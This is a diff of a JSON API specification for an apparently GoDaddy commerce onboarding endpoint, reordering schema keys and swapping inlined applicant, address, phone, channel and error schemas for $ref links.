- "pattern": "^[0-9]{1,14}?$" + "pattern": "^[0-9]{1,3}?$", + "type": "string" }, "extensionNumber": { - "type": "string", "description": "The extension number.", - "minLength": 1, "maxLength": 15, - "pattern": "^[0-9]{1,15}?$" + "minLength": 1, + "pattern": "^[0-9]{1,15}?$", + "type": "string" + }, + "nationalNumber": { + "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 14, + "minLength": 1, + "pattern": "^[0-9]{1,14}?$", + "type": "string" } }, "required": [ "countryCode", "nationalNumber" - ] - }, - "firstName": { - "description": "First name of the applicant", - "type": "string", - "minLength": 2, - "maxLength": 64 - }, - "ip": { - "description": "IP Address of the applicant", - "type": "string", - "format": "ipv4" - }, - "lastName": { - "description": "Last name of the applicant", - "type": "string", - "minLength": 2, - "maxLength": 64 - }, - "leadId": { - "description": "Unique Lead ID", - "type": "string", - "maxLength": 64 + ], + "title": "Phone", + "type": "object" }, "type": { - "description": "Type of applicant", - "type": "string", "default": "APPLICANT", + "description": "Type of applicant", "enum": [ "APPLICANT", "OWNER", "OWNER_APPLICANT" - ] + ], + "type": "string" }, "userId": { "description": "Unique User ID", - "type": "string", - "maxLength": 64 + "maxLength": 64, + "type": "string" }, "visitorId": { "description": "The visitor id that was created during an anonymous visit", - "type": "string", - "format": "uuid" + "format": "uuid", + "type": "string" } }, "required": [ "email" - ] - } - }, - "company": null, - "store": null, - "channel": { - "$id": "https://godaddy.com/schemas/commerce/onboarding/store.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Channel", - "description": "An abstraction of data to create a channel", - "type": "object", - "properties": { - "id": { - "description": "Unique ID for the channel", - "type": "string", - "readOnly": true - }, - "name": { - "description": "Channel name", - "type": "string", - "minLength": 3, - "maxLength": 128 - }, - "externalChannelId": { - "description": "Unique ID what represents an external resource", - "type": "string", - "maxLength": 36 - }, - "externalChannelType": { - "description": "A term what represents the external channel id", - "type": "string", - "maxLength": 128 - } + ], + "title": "Individual", + "type": "object" }, - "required": [ - "name" - ] + "type": "array" + }, + "intent": { + "default": "CREATE_BUSINESS", + "description": "Identifies the type of onboarding application that is being requested for the commerce account", + "enum": [ + "CREATE_BUSINESS", + "ADD_STORE", + "ADD_CHANNEL", + "ADD_PRODUCT" + ], + "type": "string" }, "metadata": { "description": "Additional parameters to create a specific type of application", - "type": "object", "properties": { + "applicationLevel": { + "description": "Current Application Level — i.e. BASIC, FULL", + "enum": [ + "BASIC", + "FULL" + ], + "readOnly": true, + "type": "string" + }, + "applicationStatus": { + "description": "The current status of the application", + "enum": [ + "INCOMPLETE", + "PENDING_FULL_APPLICATION", + "IN_REVIEW", + "APPROVED", + "DECLINED" + ], + "readOnly": true, + "type": "string" + }, "businessId": { "description": "Unique ID for the business", - "type": "string", - "format": "uuid" - }, - "storeId": { - "description": "Unique ID for the store", - "type": "string", - "format": "uuid" + "format": "uuid", + "type": "string" }, "channelId": { "description": "Unique ID for the channel", - "type": "string", - "format": "uuid" + "format": "uuid", + "type": "string" }, "context": { "description": "Header context", - "type": "string", - "maxLength": 1024 + "maxLength": 1024, + "type": "string" }, "medium": { "description": "The page or entity relating to this account. Ex. FacebookLP, Email, My Account", - "type": "string", - "maxLength": 64 - }, - "source": { - "description": "The point of origin that started this process", - "type": "string", - "maxLength": 64 + "maxLength": 64, + "type": "string" }, "referralUrlId": { "description": "The ID what was setup for a Distributor Merchant URL", - "type": "string", - "maxLength": 256 + "maxLength": 256, + "type": "string" }, - "applicationLevel": { - "description": "Current Application Level — i.e. BASIC, FULL", - "type": "string", - "readOnly": true, - "enum": [ - "BASIC", - "FULL" - ] + "source": { + "description": "The point of origin that started this process", + "maxLength": 64, + "type": "string" }, - "applicationStatus": { - "description": "The current status of the application", - "type": "string", - "readOnly": true, - "enum": [ - "INCOMPLETE", - "PENDING_FULL_APPLICATION", - "IN_REVIEW", - "APPROVED", - "DECLINED" - ] + "storeId": { + "description": "Unique ID for the store", + "format": "uuid", + "type": "string" } - } - }, - "intent": { - "description": "Identifies the type of onboarding application that is being requested for the commerce account", - "type": "string", - "default": "CREATE_BUSINESS", - "enum": [ - "CREATE_BUSINESS", - "ADD_STORE", - "ADD_CHANNEL", - "ADD_PRODUCT" - ] + }, + "type": "object" }, "products": { "description": "List of GoDaddy product that can be added to the commerce account e.g., e.g., GD Payments, GD Debit card, GD Loans etc.", - "type": "array", "items": { "$id": "https://godaddy.com/schemas/commerce/onboarding/product.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Product", "description": "GoDaddy product that can be added to the commerce account e.g., e.g., GD Payments, GD Debit card, GD Loans etc.", - "type": "object", "properties": { + "features": { + "description": "Optional capabilities/functionalities associated with GoDaddy offered Product", + "items": { + "default": [], + "enum": [ + "TIP_ENABLED" + ], + "type": "string" + }, + "type": "array" + }, "id": { "description": "Unique ID for the product", - "type": "string", - "readOnly": true + "readOnly": true, + "type": "string" }, "name": { "description": "Product name", - "type": "string", "enum": [ "PAYMENTS" - ] - }, - "features": { - "description": "Optional capabilities/functionalities associated with GoDaddy offered Product", - "type": "array", - "items": { - "type": "string", - "default": [], - "enum": [ - "TIP_ENABLED" - ] - } + ], + "type": "string" } - } - } + }, + "title": "Product", + "type": "object" + }, + "type": "array" }, - "commerceAccountFeatures": { - "description": "Optional capabilities/functionalities associated with commerce account", - "type": "array", - "items": { - "type": "string", - "default": [], - "enum": [ - "NO_EMAIL_COMMUNICATIONS" - ] - } + "store": { + "$ref": "./Store.yaml" } }, "required": [ "intent" - ] + ], + "title": "Onboarding Application", + "type": "object" } }, "responses": { + "400": { + "description": "Bad request", + "schema": { + "$ref": "./common-types/error.json" + } + }, "201": { "description": "Onboarding Application has been created successfully", "schema": { "$id": "https://godaddy.com/schemas/commerce/onboarding/application-request.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Onboarding Application", - "type": "object", "description": "This model represents the application which is use to begin the onboarding process", "properties": { + "channel": { + "$id": "https://godaddy.com/schemas/commerce/onboarding/store.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An abstraction of data to create a channel", + "properties": { + "externalChannelId": { + "description": "Unique ID what represents an external resource", + "maxLength": 36, + "type": "string" + }, + "externalChannelType": { + "description": "A term what represents the external channel id", + "maxLength": 128, + "type": "string" + }, + "id": { + "description": "Unique ID for the channel", + "readOnly": true, + "type": "string" + }, + "name": { + "description": "Channel name", + "maxLength": 128, + "minLength": 3, + "type": "string" + } + }, + "required": [ + "name" + ], + "title": "Channel", + "type": "object" + }, + "commerceAccountFeatures": { + "description": "Optional capabilities/functionalities associated with commerce account", + "items": { + "default": [], + "enum": [ + "NO_EMAIL_COMMUNICATIONS" + ], + "type": "string" + }, + "type": "array" + }, + "company": { + "$ref": "./Company.yaml" + }, "id": { "description": "Unique ID for the application", - "type": "string", - "readOnly": true + "readOnly": true, + "type": "string" }, "individuals": { "description": "A list of applicants", - "type": "array", "items": { "$id": "https://godaddy.com/schemas/commerce/onboarding/individual.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Individual", "description": "Business account owner or the person filling out the application (applicant)", - "type": "object", "properties": { - "id": { - "description": "Unique ID for the Individual", - "type": "string", - "readOnly": true - }, "address": { "$id": "https://godaddy.com/schemas/common/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schemas/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, "addressLine1": { - "type": "string", "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, "addressLine2": { - "type": "string", "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, "addressLine3": { - "type": "string", "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 - }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 + "maxLength": 100, + "type": "string" }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" }, "adminArea2": { "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" }, "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", "$id": "https://godaddy.com/schemas/common-types/country-code.v1", "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", "maxLength": 2, "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" }, - "addressDetails": { - "type": "object", - "title": "Address Details", - "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", - "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 - }, - "buildingName": { - "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 - }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 - }, - "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", - "$id": "https://godaddy.com/schemas/common/geo-coordinates.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", - "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, - "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" - } - }, - "required": [ - "longitude", - "latitude" - ] - } - } + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" } }, "required": [ "countryCode" - ] + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" }, "customerId": { "description": "Unique ID for GoDaddy customer", - "type": "string", - "format": "uuid" + "format": "uuid", + "type": "string" }, "email": { "$id": "https://godaddy.com/schemas/common/email-address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", "description": "A valid, internationalized email address. Note: Up to 64 characters are allowed before and 255 characters are allowed after the @ sign. However, the generally accepted maximum length for an email address is 254 characters. The pattern verifies that an unquoted @ sign exists.", - "type": "string", - "minLength": 3, "maxLength": 254, - "pattern": "^.+@[^\"\\-].+$" + "minLength": 3, + "pattern": "^.+@[^\"\\-].+$", + "type": "string" + }, + "firstName": { + "description": "First name of the applicant", + "maxLength": 64, + "minLength": 2, + "type": "string" + }, + "id": { + "description": "Unique ID for the Individual", + "readOnly": true, + "type": "string" + }, + "ip": { + "description": "IP Address of the applicant", + "format": "ipv4", + "type": "string" + }, + "lastName": { + "description": "Last name of the applicant", + "maxLength": 64, + "minLength": 2, + "type": "string" + }, + "leadId": { + "description": "Unique Lead ID", + "maxLength": 64, + "type": "string" }, "phone": { "$id": "https://godaddy.com/schemas/common/phone.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Phone", "description": "The phone number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en).", "properties": { "countryCode": { - "type": "string", "description": "The country calling code (CC), in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the CC and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", - "minLength": 1, "maxLength": 3, - "pattern": "^[0-9]{1,3}?$" - }, - "nationalNumber": { - "type": "string", - "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", "minLength": 1, - "maxLength": 14, - "pattern": "^[0-9]{1,14}?$" + "pattern": "^[0-9]{1,3}?$", + "type": "string" }, "extensionNumber": { - "type": "string", "description": "The extension number.", - "minLength": 1, "maxLength": 15, - "pattern": "^[0-9]{1,15}?$" + "minLength": 1, + "pattern": "^[0-9]{1,15}?$", + "type": "string" + }, + "nationalNumber": { + "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 14, + "minLength": 1, + "pattern": "^[0-9]{1,14}?$", + "type": "string" } }, "required": [ "countryCode", "nationalNumber" - ] - }, - "firstName": { - "description": "First name of the applicant", - "type": "string", - "minLength": 2, - "maxLength": 64 - }, - "ip": { - "description": "IP Address of the applicant", - "type": "string", - "format": "ipv4" - }, - "lastName": { - "description": "Last name of the applicant", - "type": "string", - "minLength": 2, - "maxLength": 64 - }, - "leadId": { - "description": "Unique Lead ID", - "type": "string", - "maxLength": 64 + ], + "title": "Phone", + "type": "object" }, "type": { - "description": "Type of applicant", - "type": "string", "default": "APPLICANT", + "description": "Type of applicant", "enum": [ "APPLICANT", "OWNER", "OWNER_APPLICANT" - ] + ], + "type": "string" }, "userId": { "description": "Unique User ID", - "type": "string", - "maxLength": 64 + "maxLength": 64, + "type": "string" }, "visitorId": { "description": "The visitor id that was created during an anonymous visit", - "type": "string", - "format": "uuid" + "format": "uuid", + "type": "string" } }, "required": [ "email" - ] - } - }, - "company": null, - "store": null, - "channel": { - "$id": "https://godaddy.com/schemas/commerce/onboarding/store.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Channel", - "description": "An abstraction of data to create a channel", - "type": "object", - "properties": { - "id": { - "description": "Unique ID for the channel", - "type": "string", - "readOnly": true - }, - "name": { - "description": "Channel name", - "type": "string", - "minLength": 3, - "maxLength": 128 - }, - "externalChannelId": { - "description": "Unique ID what represents an external resource", - "type": "string", - "maxLength": 36 - }, - "externalChannelType": { - "description": "A term what represents the external channel id", - "type": "string", - "maxLength": 128 - } + ], + "title": "Individual", + "type": "object" }, - "required": [ - "name" - ] + "type": "array" + }, + "intent": { + "default": "CREATE_BUSINESS", + "description": "Identifies the type of onboarding application that is being requested for the commerce account", + "enum": [ + "CREATE_BUSINESS", + "ADD_STORE", + "ADD_CHANNEL", + "ADD_PRODUCT" + ], + "type": "string" }, "metadata": { "description": "Additional parameters to create a specific type of application", - "type": "object", "properties": { + "applicationLevel": { + "description": "Current Application Level — i.e. BASIC, FULL", + "enum": [ + "BASIC", + "FULL" + ], + "readOnly": true, + "type": "string" + }, + "applicationStatus": { + "description": "The current status of the application", + "enum": [ + "INCOMPLETE", + "PENDING_FULL_APPLICATION", + "IN_REVIEW", + "APPROVED", + "DECLINED" + ], + "readOnly": true, + "type": "string" + }, "businessId": { "description": "Unique ID for the business", - "type": "string", - "format": "uuid" - }, - "storeId": { - "description": "Unique ID for the store", - "type": "string", - "format": "uuid" + "format": "uuid", + "type": "string" }, "channelId": { "description": "Unique ID for the channel", - "type": "string", - "format": "uuid" + "format": "uuid", + "type": "string" }, "context": { "description": "Header context", - "type": "string", - "maxLength": 1024 + "maxLength": 1024, + "type": "string" }, "medium": { "description": "The page or entity relating to this account. Ex. FacebookLP, Email, My Account", - "type": "string", - "maxLength": 64 - }, - "source": { - "description": "The point of origin that started this process", - "type": "string", - "maxLength": 64 + "maxLength": 64, + "type": "string" }, "referralUrlId": { "description": "The ID what was setup for a Distributor Merchant URL", - "type": "string", - "maxLength": 256 + "maxLength": 256, + "type": "string" }, - "applicationLevel": { - "description": "Current Application Level — i.e. BASIC, FULL", - "type": "string", - "readOnly": true, - "enum": [ - "BASIC", - "FULL" - ] + "source": { + "description": "The point of origin that started this process", + "maxLength": 64, + "type": "string" }, - "applicationStatus": { - "description": "The current status of the application", - "type": "string", - "readOnly": true, - "enum": [ - "INCOMPLETE", - "PENDING_FULL_APPLICATION", - "IN_REVIEW", - "APPROVED", - "DECLINED" - ] + "storeId": { + "description": "Unique ID for the store", + "format": "uuid", + "type": "string" } - } - }, - "intent": { - "description": "Identifies the type of onboarding application that is being requested for the commerce account", - "type": "string", - "default": "CREATE_BUSINESS", - "enum": [ - "CREATE_BUSINESS", - "ADD_STORE", - "ADD_CHANNEL", - "ADD_PRODUCT" - ] + }, + "type": "object" }, "products": { "description": "List of GoDaddy product that can be added to the commerce account e.g., e.g., GD Payments, GD Debit card, GD Loans etc.", - "type": "array", "items": { "$id": "https://godaddy.com/schemas/commerce/onboarding/product.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Product", "description": "GoDaddy product that can be added to the commerce account e.g., e.g., GD Payments, GD Debit card, GD Loans etc.", - "type": "object", "properties": { + "features": { + "description": "Optional capabilities/functionalities associated with GoDaddy offered Product", + "items": { + "default": [], + "enum": [ + "TIP_ENABLED" + ], + "type": "string" + }, + "type": "array" + }, "id": { "description": "Unique ID for the product", - "type": "string", - "readOnly": true + "readOnly": true, + "type": "string" }, "name": { "description": "Product name", - "type": "string", "enum": [ "PAYMENTS" - ] - }, - "features": { - "description": "Optional capabilities/functionalities associated with GoDaddy offered Product", - "type": "array", - "items": { - "type": "string", - "default": [], - "enum": [ - "TIP_ENABLED" - ] - } + ], + "type": "string" } - } - } + }, + "title": "Product", + "type": "object" + }, + "type": "array" }, - "commerceAccountFeatures": { - "description": "Optional capabilities/functionalities associated with commerce account", - "type": "array", - "items": { - "type": "string", - "default": [], - "enum": [ - "NO_EMAIL_COMMUNICATIONS" - ] - } + "store": { + "$ref": "./Store.yaml" } }, "required": [ "intent" - ] - } - }, - "400": { - "description": "Bad request", - "schema": { - "$id": "https://godaddy.com/schemas/common/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Error", - "description": "The error information.", - "definitions": { - "error-details": { - "$id": "https://godaddy.com/schemas/common/error-details.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error Details", - "type": "object", - "description": "The error details. Required for client-side `4XX` errors.", - "properties": { - "field": { - "type": "string", - "description": "The field that caused the error. If the field is in the body, set this value to the JSON pointer to that field. Required for client-side errors." - }, - "value": { - "type": "string", - "description": "The value of the field that caused the error." - }, - "location": { - "type": "string", - "description": "The location of the field that caused the error. Value is `body`, `path`, or `query`.", - "default": "body" - }, - "issue": { - "type": "string", - "description": "The unique fine-grained application-level error code." - }, - "description": { - "type": "string", - "description": "The human-readable description for an issue. The description MAY change over the lifetime of an API, so clients MUST NOT depend on this value." - } - }, - "required": [ - "issue" - ] - }, - "link-description": { - "$id": "https://godaddy.com/schemas/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." - } - }, - "required": [ - "rel", - "href" - ] - } - }, - "properties": { - "name": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "correlationId": { - "type": "string", - "description": "Internal identifier used for correlation purposes." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - }, - "informationLink": { - "type": "string", - "description": "The URI for detailed information related to this error for the developer." - }, - "details": { - "type": "array", - "description": "An array of additional details about the error. Required for client-side `4XX` errors.", - "additionalItems": false, - "items": { - "$id": "https://godaddy.com/schemas/common/error-details.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error Details", - "type": "object", - "description": "The error details. Required for client-side `4XX` errors.", - "properties": { - "field": { - "type": "string", - "description": "The field that caused the error. If the field is in the body, set this value to the JSON pointer to that field. Required for client-side errors." - }, - "value": { - "type": "string", - "description": "The value of the field that caused the error." - }, - "location": { - "type": "string", - "description": "The location of the field that caused the error. Value is `body`, `path`, or `query`.", - "default": "body" - }, - "issue": { - "type": "string", - "description": "The unique fine-grained application-level error code." - }, - "description": { - "type": "string", - "description": "The human-readable description for an issue. The description MAY change over the lifetime of an API, so clients MUST NOT depend on this value." - } - }, - "required": [ - "issue" - ] - } - }, - "links": { - "type": "array", - "description": "An array of error-related HATEOAS links.", - "readOnly": true, - "items": { - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." - } - }, - "required": [ - "rel", - "href" - ] - } - } - }, - "required": [ - "name", - "correlationId", - "message" - ] + ], + "title": "Onboarding Application", + "type": "object" } } }, @@ -1595,436 +1369,444 @@ { "$id": "https://godaddy.com/schemas/commerce/onboarding/application-request.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Onboarding Application", - "type": "object", "description": "This model represents the application which is use to begin the onboarding process", "properties": { + "channel": { + "$id": "https://godaddy.com/schemas/commerce/onboarding/store.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An abstraction of data to create a channel", + "properties": { + "externalChannelId": { + "description": "Unique ID what represents an external resource", + "maxLength": 36, + "type": "string" + }, + "externalChannelType": { + "description": "A term what represents the external channel id", + "maxLength": 128, + "type": "string" + }, + "id": { + "description": "Unique ID for the channel", + "readOnly": true, + "type": "string" + }, + "name": { + "description": "Channel name", + "maxLength": 128, + "minLength": 3, + "type": "string" + } + }, + "required": [ + "name" + ], + "title": "Channel", + "type": "object" + }, + "commerceAccountFeatures": { + "description": "Optional capabilities/functionalities associated with commerce account", + "items": { + "default": [], + "enum": [ + "NO_EMAIL_COMMUNICATIONS" + ], + "type": "string" + }, + "type": "array" + }, + "company": { + "$ref": "./Company.yaml" + }, "id": { "description": "Unique ID for the application", - "type": "string", - "readOnly": true + "readOnly": true, + "type": "string" }, "individuals": { "description": "A list of applicants", - "type": "array", "items": { "$id": "https://godaddy.com/schemas/commerce/onboarding/individual.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Individual", "description": "Business account owner or the person filling out the application (applicant)", - "type": "object", "properties": { - "id": { - "description": "Unique ID for the Individual", - "type": "string", - "readOnly": true - }, "address": { "$id": "https://godaddy.com/schemas/common/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and 